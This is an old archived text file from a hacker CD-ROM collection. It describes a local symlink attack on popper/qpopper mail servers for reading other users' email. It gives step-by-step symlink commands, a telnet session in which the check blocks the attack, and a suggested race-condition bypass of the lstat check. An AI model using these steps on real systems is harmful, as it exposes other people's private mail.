home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / popper.txt < prev    next >
Text File  |  2001-11-06  |  2KB  |  63 lines

  1.  
  2. Some versions of popper and qpopper from qualcomm allow you to read
  3. other peoples email.  There are quite a few situations in which you
  4. need your mail spool directory chmodded 1777.  If you have local users
  5. on a machine with the mail spool directory, they can create symbolic
  6. links from the temporary pop drop box to a file that they can read.
  7.  
  8. See if youre vulnerable:
  9.  
  10.         1) touch /tmp/lumpy; chmod 777 /tmp/lumpy
  11.         2) ln -s /tmp/lumpy /var/mail/.luser.pop
  12.         3) wait for them to check their email.
  13.         4) while they are reading it from the pop
  14.            server, look at the file in the tmp dir.
  15.  
  16. Apparently it is fixed in the newest version.
  17.  
  18. ----------------------------------------------------------------------
  19.  
  20.  
  21. Here's what I did when I tried this on my personal system at home which
  22. runs QPOPPER 2.2:
  23.  
  24. /tmp$ telnet localhost 110
  25. Trying 127.0.0.1...
  26. Connected to localhost.
  27. Escape character is '^]'.
  28. +OK QPOP (version 2.2) at (zang!) starting.  <2104.871076037@(plink!)>
  29. user (poof!)
  30. +OK Password required for (zap!).
  31. pass (boink!)
  32. - -ERR Your temporary drop file /usr/spool/mail/.(blink!).pop is not type 'regular file'
  33.  
  34. Even version 2.2 of qpopper is smart enough to know the difference between
  35. a regular file and a symbolic link.
  36.  
  37.  
  38. ----------------------------------------------------------------------
  39.  
  40.  
  41. Looks like there is a race condition in there.  It opens the file, does
  42. some fstat()s on it to check a few things, then does:
  43.  
  44. #if defined(S_ISREG)
  45.     /* Make sure the file is not a symbolic link reference */
  46.     lstat(p->temp_drop, &mybuf);
  47.     if (!S_ISREG(mybuf.st_mode)) {
  48.         close(dfd);
  49.         return pop_msg(p, POP_FAILURE,
  50.         "Your temporary drop file %s is not type 'regular file'", p->temp_drop);
  51.     }
  52. #endif
  53.  
  54. All you need is a (rm .user.pop; touch .user.pop) after the open but
  55. before the lstat to get around that check.
  56.  
  57. This code is from v2.4b2.  I'm not sure how this helps you do anything
  58. though, since you are running setuid() to the user at that point; if a
  59. user can read other user's mailboxes normally, I wouldn't be blaming
  60. qpopper.
  61.  
  62.  
  63.